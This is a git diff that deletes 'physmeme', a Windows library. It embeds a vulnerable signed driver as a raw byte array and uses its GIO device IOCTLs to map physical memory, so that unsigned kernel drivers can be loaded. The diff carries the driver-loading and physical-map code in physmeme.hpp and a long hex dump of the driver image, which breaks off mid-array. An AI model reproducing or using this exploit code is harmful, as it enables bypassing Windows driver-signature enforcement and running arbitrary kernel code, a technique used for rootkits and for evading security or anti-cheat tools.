(!physmeme::unload_drv()) - return STATUS_ABANDONED; - - return result; - } - - NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size) - { - std::vector data(image, image + size); - return map_driver(data); - } -} \ No newline at end of file diff --git a/physmeme-lib/map_driver.hpp b/physmeme-lib/map_driver.hpp deleted file mode 100644 index bcbfb94..0000000 --- a/physmeme-lib/map_driver.hpp +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once -#include -#include - -namespace physmeme -{ - NTSTATUS __cdecl map_driver(std::vector& raw_driver); - NTSTATUS __cdecl map_driver(std::uint8_t * image, std::size_t size); -} \ No newline at end of file diff --git a/physmeme-lib/physmeme-lib.vcxproj b/physmeme-lib/physmeme-lib.vcxproj deleted file mode 100644 index 806bdcd..0000000 --- a/physmeme-lib/physmeme-lib.vcxproj +++ /dev/null @@ -1,178 +0,0 @@ - - - - - Debug - Win32 - - - Release - Win32 - - - Debug - x64 - - - Release - x64 - - - - 16.0 - {13FFA531-AD46-46F8-B52D-4A01BA078034} - Win32Proj - physmeme - 10.0 - - - - StaticLibrary - true - v142 - MultiByte - false - - - StaticLibrary - false - v142 - true - MultiByte - false - - - StaticLibrary - true - v142 - MultiByte - false - - - StaticLibrary - false - v142 - true - MultiByte - false - - - - - - - - - - - - - - - - - - - - - true - - - true - - - false - - - false - - - - - - TurnOffAllWarnings - true - _CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - - - - - - - TurnOffAllWarnings - true - _CRT_SECURE_NO_WARNINGS - true - stdcpp17 - - - Console - true - - - - - - - TurnOffAllWarnings - true - true - true - _CRT_SECURE_NO_WARNINGS - true - stdcpp17 - Disabled - - - Console - true - true - true - - - - - - - TurnOffAllWarnings - true - true - true - _CRT_SECURE_NO_WARNINGS - true - stdcpp17 - Disabled - - - Console - true - true - true - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/physmeme-lib/physmeme-lib.vcxproj.filters b/physmeme-lib/physmeme-lib.vcxproj.filters deleted file mode 100644 index 3eda970..0000000 --- a/physmeme-lib/physmeme-lib.vcxproj.filters +++ /dev/null @@ -1,71 +0,0 @@ - - - - - {4FC737F1-C7A5-4376-A066-2A32D752A2FF} - cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx - - - {93995380-89BD-4b04-88EB-625FBE52EBFB} - h;hh;hpp;hxx;hm;inl;inc;ipp;xsd - - - {040c8387-476c-4aa5-aa2a-ca30465b41bd} - - - {642c89a0-7989-4f5c-ae5a-f71e697abe16} - - - {c4aa2f98-70d4-418e-894d-4e1975e2bad2} - - - {4fd2f117-66bb-4f75-af5b-b7e041a4dc48} - - - {161b3714-a6cd-4b7b-a1f1-9b90b1f84aca} - - - {ed9d2db3-acef-42c0-880f-7f95dcca819d} - - - - - Source Files\kernel_ctx - - - Source Files\drv_image - - - Source Files - - - - - Header Files\kernel_ctx - - - Header Files\util - - - Header Files\util - - - Header Files\util - - - Header Files\drv_image - - - Header Files\physmeme - - - Header Files - - - Header Files - - - Header Files - - - \ No newline at end of file diff --git a/physmeme-lib/physmeme-lib.vcxproj.user b/physmeme-lib/physmeme-lib.vcxproj.user deleted file mode 100644 index 78bd717..0000000 --- a/physmeme-lib/physmeme-lib.vcxproj.user +++ /dev/null @@ -1,19 +0,0 @@ - - - - C:\Users\interesting\Desktop\hello-world.sys - WindowsLocalDebugger - - - C:\Users\interesting\Desktop\hello-world.sys - WindowsLocalDebugger - - - C:\Users\interesting\Desktop\hello-world.sys - WindowsLocalDebugger - - - C:\Users\interesting\Desktop\hello-world.sys - WindowsLocalDebugger - - \ No newline at end of file diff --git a/physmeme-lib/physmeme/physmeme.hpp b/physmeme-lib/physmeme/physmeme.hpp deleted file mode 100644 index d4b2732..0000000 --- a/physmeme-lib/physmeme/physmeme.hpp +++ /dev/null @@ -1,112 +0,0 @@ -#pragma once -#include -#include -#include -#include - -#include "../util/util.hpp" -#include "../loadup.hpp" -#include "../raw_driver.hpp" - -#pragma pack ( push, 1 ) -typedef struct _GIOMAP -{ - unsigned long interface_type; - unsigned long bus; - std::uintptr_t physical_address; - unsigned long io_space; - unsigned long size; -} GIOMAP; -#pragma pack ( pop ) - -#define MAP_PHYS 0xC3502004 -#define UNMAP_PHYS 0xC3502008 - -namespace physmeme -{ - inline std::string drv_key; - inline HANDLE drv_handle = NULL; - - // keep track of mappings. - inline std::vector> virtual_mappings; - - // - // please code this function depending on your method of physical read/write. - // - inline bool load_drv() - { - const auto [result, key] = - driver::load( - raw_driver, - sizeof(raw_driver) - ); - - drv_key = key; - drv_handle = CreateFile( - "\\\\.\\GIO", - GENERIC_READ | GENERIC_WRITE, - NULL, - NULL, - OPEN_EXISTING, - FILE_ATTRIBUTE_NORMAL, - NULL - ); - return drv_handle; - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unload_drv() - { - return CloseHandle(drv_handle) && driver::unload(drv_key); - } - - // - // please code this function depending on your method of physical read/write. - // - inline std::uintptr_t map_phys( - std::uintptr_t addr, - std::size_t size - ) - { - //--- ensure the validity of the address we are going to try and map - if (!util::is_valid(addr)) - return NULL; - - GIOMAP in_buffer = { 0, 0, addr, 0, size }; - uintptr_t out_buffer[2] = { 0 }; - unsigned long returned = 0; - DeviceIoControl(drv_handle, MAP_PHYS, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - - virtual_mappings.emplace_back(std::pair(out_buffer[0], size)); - return out_buffer[0]; - } - - // - // please code this function depending on your method of physical read/write. - // - inline bool unmap_phys( - std::uintptr_t addr, - std::size_t size - ) - { - uintptr_t in_buffer = addr; - uintptr_t out_buffer[2] = { sizeof(out_buffer) }; - - unsigned long returned = NULL; - DeviceIoControl(drv_handle, UNMAP_PHYS, reinterpret_cast(&in_buffer), sizeof(in_buffer), - reinterpret_cast(out_buffer), sizeof(out_buffer), &returned, NULL); - return out_buffer[0]; - } - - // - // unmap all physical memory that was mapped. - // - inline void unmap_all() - { - for (auto idx = 0u; idx < virtual_mappings.size(); ++idx) - unmap_phys(virtual_mappings[idx].first, virtual_mappings[idx].second); - } -} \ No newline at end of file diff --git a/physmeme-lib/raw_driver.hpp b/physmeme-lib/raw_driver.hpp deleted file mode 100644 index f9ceb96..0000000 --- a/physmeme-lib/raw_driver.hpp +++ /dev/null @@ -1,2239 +0,0 @@ -#pragma once -#include - -inline constexpr std::uint8_t raw_driver[] = -{ - 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, - 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xF0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, - 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, - 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, - 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, - 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, - 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xDB, 0xC8, 0x17, 0xA3, - 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, 0x9F, 0xA9, 0x79, 0xF0, - 0x9F, 0xA9, 0x78, 0xF0, 0x82, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x78, 0xF1, - 0x9A, 0xA9, 0x79, 0xF0, 0xBD, 0xC9, 0x7A, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, - 0xBD, 0xC9, 0x7D, 0xF1, 0x9A, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7D, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x00, 0xA1, 0x04, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, - 0x0D, 0xF7, 0x86, 0xF0, 0x9E, 0xA9, 0x79, 0xF0, 0x08, 0xF7, 0x7B, 0xF1, - 0x9E, 0xA9, 0x79, 0xF0, 0x52, 0x69, 0x63, 0x68, 0x9F, 0xA9, 0x79, 0xF0, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x50, 0x45, 0x00, 0x00, 0x64, 0x86, 0x08, 0x00, 0x65, 0xEB, 0x20, 0x5A, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 0x22, 0x00, - 0x0B, 0x02, 0x0E, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x14, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x00, - 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00, - 0x00, 0x04, 0x00, 0x00, 0x2F, 0xF6, 0x00, 0x00, 0x01, 0x00, 0x60, 0x01, - 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x90, 0x80, 0x00, 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, - 0x48, 0x03, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x4A, 0x00, 0x00, 0xA8, 0x1E, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x20, 0x41, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x60, 0x41, 0x00, 0x00, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xF8, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x8F, 0x2A, 0x00, 0x00, - 0x00, 0x10, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x00, 0x00, 0x68, 0x2E, 0x72, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, - 0xA0, 0x06, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, - 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x2E, 0x64, 0x61, 0x74, - 0x61, 0x00, 0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, - 0x00, 0x02, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0xC8, - 0x2E, 0x70, 0x64, 0x61, 0x74, 0x61, 0x00, 0x00, 0xEC, 0x01, 0x00, 0x00, - 0x00, 0x60, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x48, 0x2E, 0x67, 0x66, 0x69, 0x64, 0x73, 0x00, 0x00, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x3C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x48, 0x49, 0x4E, 0x49, 0x54, - 0x00, 0x00, 0x00, 0x00, 0x4C, 0x04, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, - 0x00, 0x06, 0x00, 0x00, 0x00, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x62, - 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0x48, 0x03, 0x00, 0x00, - 0x00, 0x90, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x44, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x40, 0x00, 0x00, 0x42, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, - 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x56, 0x57, 0x50, 0x53, 0x51, 0x52, 0x66, 0x8B, - 0x05, 0x45, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x1D, 0x3C, 0x40, 0x00, 0x00, - 0x66, 0x8B, 0x0D, 0x33, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x15, 0x2A, 0x40, - 0x00, 0x00, 0x66, 0x8B, 0x35, 0x21, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x3D, - 0x18, 0x40, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x66, 0x89, 0x05, - 0x16, 0x40, 0x00, 0x00, 0x66, 0x89, 0x1D, 0x0D, 0x40, 0x00, 0x00, 0x66, - 0x89, 0x0D, 0x04, 0x40, 0x00, 0x00, 0x66, 0x89, 0x15, 0xFB, 0x3F, 0x00, - 0x00, 0x66, 0x89, 0x35, 0xF2, 0x3F, 0x00, 0x00, 0x66, 0x89, 0x3D, 0xE9, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x56, 0x57, - 0x50, 0x53, 0x51, 0x52, 0x8B, 0x05, 0xC6, 0x3F, 0x00, 0x00, 0x8B, 0x1D, - 0xBC, 0x3F, 0x00, 0x00, 0x8B, 0x0D, 0xB2, 0x3F, 0x00, 0x00, 0x8B, 0x15, - 0xA8, 0x3F, 0x00, 0x00, 0x8B, 0x35, 0x9E, 0x3F, 0x00, 0x00, 0x8B, 0x3D, - 0x94, 0x3F, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x05, 0x9D, - 0x3F, 0x00, 0x00, 0x89, 0x1D, 0x93, 0x3F, 0x00, 0x00, 0x89, 0x0D, 0x89, - 0x3F, 0x00, 0x00, 0x89, 0x15, 0x7F, 0x3F, 0x00, 0x00, 0x89, 0x35, 0x75, - 0x3F, 0x00, 0x00, 0x89, 0x3D, 0x6B, 0x3F, 0x00, 0x00, 0x89, 0x05, 0x61, - 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x50, 0x53, - 0x51, 0x52, 0x8B, 0x0D, 0x74, 0x3F, 0x00, 0x00, 0x0F, 0x32, 0x89, 0x05, - 0x68, 0x3F, 0x00, 0x00, 0x89, 0x15, 0x5E, 0x3F, 0x00, 0x00, 0x5A, 0x59, - 0x5B, 0x58, 0xC3, 0x50, 0x53, 0x51, 0x52, 0x8B, 0x0D, 0x57, 0x3F, 0x00, - 0x00, 0x8B, 0x05, 0x4D, 0x3F, 0x00, 0x00, 0x8B, 0x15, 0x43, 0x3F, 0x00, - 0x00, 0x0F, 0x30, 0x5A, 0x59, 0x5B, 0x58, 0xC3, 0x55, 0x52, 0x50, 0x53, - 0x56, 0x57, 0x51, 0x48, 0x8B, 0xF1, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x83, 0xE0, 0xFF, 0x48, - 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5E, - 0x04, 0x48, 0x83, 0xE3, 0xFF, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x08, 0x48, 0x83, 0xE1, 0xFF, 0x48, - 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, - 0x0C, 0x48, 0x83, 0xE2, 0xFF, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x14, 0x48, 0x83, 0xE7, 0xFF, 0x48, - 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6E, - 0x18, 0x48, 0x83, 0xE5, 0xFF, 0x48, 0x8B, 0x76, 0x10, 0x48, 0x83, 0xE6, - 0xFF, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x35, - 0x74, 0x3E, 0x00, 0x00, 0x5E, 0x50, 0x9C, 0x58, 0x48, 0x83, 0xE0, 0xFF, - 0x88, 0x46, 0x1C, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1D, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x1E, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1F, - 0x58, 0x88, 0x06, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x01, 0x48, 0xC1, - 0xE8, 0x08, 0x88, 0x46, 0x02, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x03, - 0x88, 0x5E, 0x04, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x05, 0x48, 0xC1, - 0xEB, 0x08, 0x88, 0x5E, 0x06, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x07, - 0x88, 0x4E, 0x08, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x09, 0x48, 0xC1, - 0xE9, 0x08, 0x88, 0x4E, 0x0A, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x0B, - 0x88, 0x56, 0x0C, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0D, 0x48, 0xC1, - 0xEA, 0x08, 0x88, 0x56, 0x0E, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0F, - 0x8B, 0x15, 0xEE, 0x3D, 0x00, 0x00, 0x88, 0x56, 0x10, 0x48, 0xC1, 0xEA, - 0x08, 0x88, 0x56, 0x11, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x12, 0x48, - 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x13, 0x8B, 0xCF, 0x88, 0x4E, 0x14, 0x48, - 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x15, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, - 0x16, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x17, 0x5F, 0x5E, 0x5B, 0x58, - 0x5A, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, - 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x9F, 0x3D, 0x00, 0x00, 0x48, 0x33, 0xC4, - 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, 0xFA, - 0x0F, 0x85, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, - 0x85, 0x8B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x48, 0x83, 0x62, - 0x38, 0x00, 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, - 0x70, 0x2D, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0x83, 0x65, 0xE0, 0x00, - 0x83, 0x65, 0xE4, 0x00, 0x83, 0x65, 0xE8, 0x00, 0x83, 0x65, 0xEC, 0x00, - 0x83, 0x65, 0xF0, 0x00, 0x83, 0x65, 0xF4, 0x00, 0xC7, 0x45, 0xD8, 0x3E, - 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, - 0x4B, 0x12, 0x0F, 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, - 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0xE8, 0x1A, 0xFE, - 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0x28, 0x2D, 0x00, 0x00, - 0xF7, 0x45, 0xD8, 0x00, 0xFF, 0x00, 0x00, 0x75, 0x14, 0x0F, 0xB7, 0x45, - 0xE8, 0x66, 0x89, 0x43, 0x16, 0x33, 0xC0, 0x48, 0xC7, 0x47, 0x38, 0x34, - 0x00, 0x00, 0x00, 0xEB, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, - 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, - 0xE8, 0x1B, 0x1B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, - 0x5B, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, - 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, - 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x48, 0x33, - 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF1, 0x49, 0x8B, 0xD8, 0x48, - 0x8D, 0x0D, 0xDE, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xFA, 0xE8, 0x1E, 0x1B, - 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x75, 0x7B, 0x83, 0x7B, 0x08, 0x34, - 0x75, 0x75, 0x48, 0x8B, 0x4E, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, - 0x5F, 0x18, 0x33, 0xF6, 0x48, 0x89, 0x77, 0x38, 0xFF, 0x15, 0x82, 0x2C, - 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, - 0x75, 0xEC, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, - 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, 0x4B, 0x12, 0x0F, - 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, - 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB7, 0x43, 0x14, 0x89, 0x45, - 0xE8, 0xE8, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, - 0x40, 0x2C, 0x00, 0x00, 0x8B, 0x45, 0xD8, 0x25, 0x00, 0xFF, 0x00, 0x00, - 0xF7, 0xD8, 0x1B, 0xC0, 0x25, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, - 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, - 0x48, 0x83, 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, - 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, - 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xE0, 0x3B, 0x00, 0x00, - 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x49, 0x8B, - 0xD8, 0x48, 0x8D, 0x0D, 0xE4, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, - 0x44, 0x1A, 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x0F, 0x85, 0x38, 0x01, - 0x00, 0x00, 0x83, 0x7B, 0x08, 0x34, 0x0F, 0x85, 0x2E, 0x01, 0x00, 0x00, - 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0x7E, 0x18, - 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x76, 0x38, 0xFF, 0x15, 0x9F, 0x2B, 0x00, - 0x00, 0x4C, 0x89, 0x75, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, - 0xE8, 0x4C, 0x89, 0x75, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, - 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x6C, 